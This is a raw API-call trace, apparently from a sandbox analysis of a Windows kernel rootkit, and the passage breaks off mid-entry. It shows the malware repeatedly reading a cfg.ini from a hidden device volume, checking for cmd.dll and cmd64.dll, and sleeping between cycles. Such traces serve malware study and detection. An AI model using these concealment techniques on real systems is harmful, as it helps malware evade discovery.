[0126.453] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.453] IdePortDispatch () returned 0x103 [0126.453] KeWaitForMutexObject () returned 0x0 [0126.453] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.453] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.453] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.453] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.453] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.453] IdePortDispatch () returned 0x103 [0126.453] KeWaitForMutexObject () returned 0x0 [0126.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.453] KeLeaveCriticalRegion () [0126.453] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.453] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.454] KeEnterCriticalRegion () [0126.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.454] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.454] KeLeaveCriticalRegion () [0126.454] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.454] KeEnterCriticalRegion () [0126.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.454] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.454] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.454] KeLeaveCriticalRegion () [0126.454] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.454] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.454] KeEnterCriticalRegion () [0126.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.454] ExFreePoolWithTag (P=0xfffffa80037ec1d0, Tag=0x0) [0126.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.454] KeLeaveCriticalRegion () [0126.454] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.454] ReleaseMutex (hMutex=0xf0) returned 1 [0126.454] Sleep (dwMilliseconds=0x124f80) [0126.468] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.468] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.468] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.468] KeEnterCriticalRegion () [0126.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.468] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.468] IdePortDispatch () returned 0x103 [0126.468] KeWaitForMutexObject () returned 0x0 [0126.468] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.468] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.468] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.468] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.468] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.468] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037eeae0 [0126.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.468] KeLeaveCriticalRegion () [0126.468] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.468] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.468] KeEnterCriticalRegion () [0126.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.468] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.468] KeLeaveCriticalRegion () [0126.468] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.468] KeEnterCriticalRegion () [0126.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.468] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.468] IdePortDispatch () returned 0x103 [0126.469] KeWaitForMutexObject () returned 0x0 [0126.469] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.469] KeLeaveCriticalRegion () [0126.469] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.469] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.469] KeEnterCriticalRegion () [0126.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.469] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a2000 [0126.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.469] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.469] IdePortDispatch () returned 0x103 [0126.469] KeWaitForMutexObject () returned 0x0 [0126.469] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.469] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.469] IdePortDispatch () returned 0x103 [0126.469] KeWaitForMutexObject () returned 0x0 [0126.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.470] KeLeaveCriticalRegion () [0126.470] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.470] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.470] KeEnterCriticalRegion () [0126.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.470] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.470] KeLeaveCriticalRegion () [0126.470] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.470] KeEnterCriticalRegion () [0126.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.470] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.470] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037eddd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.470] KeLeaveCriticalRegion () [0126.470] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.470] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.470] KeEnterCriticalRegion () [0126.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.470] ExFreePoolWithTag (P=0xfffffa80037eeae0, Tag=0x0) [0126.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.470] KeLeaveCriticalRegion () [0126.470] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.470] ReleaseMutex (hMutex=0xf0) returned 1 [0126.470] Sleep (dwMilliseconds=0x124f80) [0126.485] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.485] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.485] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.485] KeEnterCriticalRegion () [0126.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.485] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.485] IdePortDispatch () returned 0x103 [0126.485] KeWaitForMutexObject () returned 0x0 [0126.485] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.485] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.485] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.485] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.485] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.485] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1480 [0126.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.485] KeLeaveCriticalRegion () [0126.485] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.485] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.485] KeEnterCriticalRegion () [0126.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.485] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.485] KeLeaveCriticalRegion () [0126.485] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.486] KeEnterCriticalRegion () [0126.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.486] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.486] IdePortDispatch () returned 0x103 [0126.486] KeWaitForMutexObject () returned 0x0 [0126.486] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.486] KeLeaveCriticalRegion () [0126.486] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.486] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.486] KeEnterCriticalRegion () [0126.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.486] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b3000 [0126.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.486] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.486] IdePortDispatch () returned 0x103 [0126.486] KeWaitForMutexObject () returned 0x0 [0126.486] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.486] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.486] IdePortDispatch () returned 0x103 [0126.486] KeWaitForMutexObject () returned 0x0 [0126.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.487] KeLeaveCriticalRegion () [0126.487] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.487] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.487] KeEnterCriticalRegion () [0126.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.487] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.487] KeLeaveCriticalRegion () [0126.487] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.487] KeEnterCriticalRegion () [0126.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.487] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.487] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037eebf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.487] KeLeaveCriticalRegion () [0126.487] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.487] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.487] KeEnterCriticalRegion () [0126.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.487] ExFreePoolWithTag (P=0xfffffa80037e1480, Tag=0x0) [0126.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.487] KeLeaveCriticalRegion () [0126.487] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.488] ReleaseMutex (hMutex=0xf0) returned 1 [0126.488] Sleep (dwMilliseconds=0x124f80) [0126.501] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.501] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.501] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.501] KeEnterCriticalRegion () [0126.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.501] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.501] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.501] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.501] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.501] IdePortDispatch () returned 0x103 [0126.501] KeWaitForMutexObject () returned 0x0 [0126.502] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.502] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.502] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.502] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.502] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.502] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037eeb30 [0126.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.502] KeLeaveCriticalRegion () [0126.502] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.502] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.502] KeEnterCriticalRegion () [0126.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.502] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.502] KeLeaveCriticalRegion () [0126.502] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.502] KeEnterCriticalRegion () [0126.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.502] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.502] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.502] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.502] IdePortDispatch () returned 0x103 [0126.502] KeWaitForMutexObject () returned 0x0 [0126.502] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.502] KeLeaveCriticalRegion () [0126.502] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.502] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.502] KeEnterCriticalRegion () [0126.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.503] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b8000 [0126.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.503] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.503] IdePortDispatch () returned 0x103 [0126.503] KeWaitForMutexObject () returned 0x0 [0126.503] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.503] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.503] IdePortDispatch () returned 0x103 [0126.503] KeWaitForMutexObject () returned 0x0 [0126.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.503] KeLeaveCriticalRegion () [0126.503] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.504] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.504] KeEnterCriticalRegion () [0126.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.504] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.504] KeLeaveCriticalRegion () [0126.504] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.504] KeEnterCriticalRegion () [0126.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.504] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.504] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037eddd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.504] KeLeaveCriticalRegion () [0126.504] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.504] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.504] KeEnterCriticalRegion () [0126.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.504] ExFreePoolWithTag (P=0xfffffa80037eeb30, Tag=0x0) [0126.504] ExReleaseFastMutexUnsafe (in: 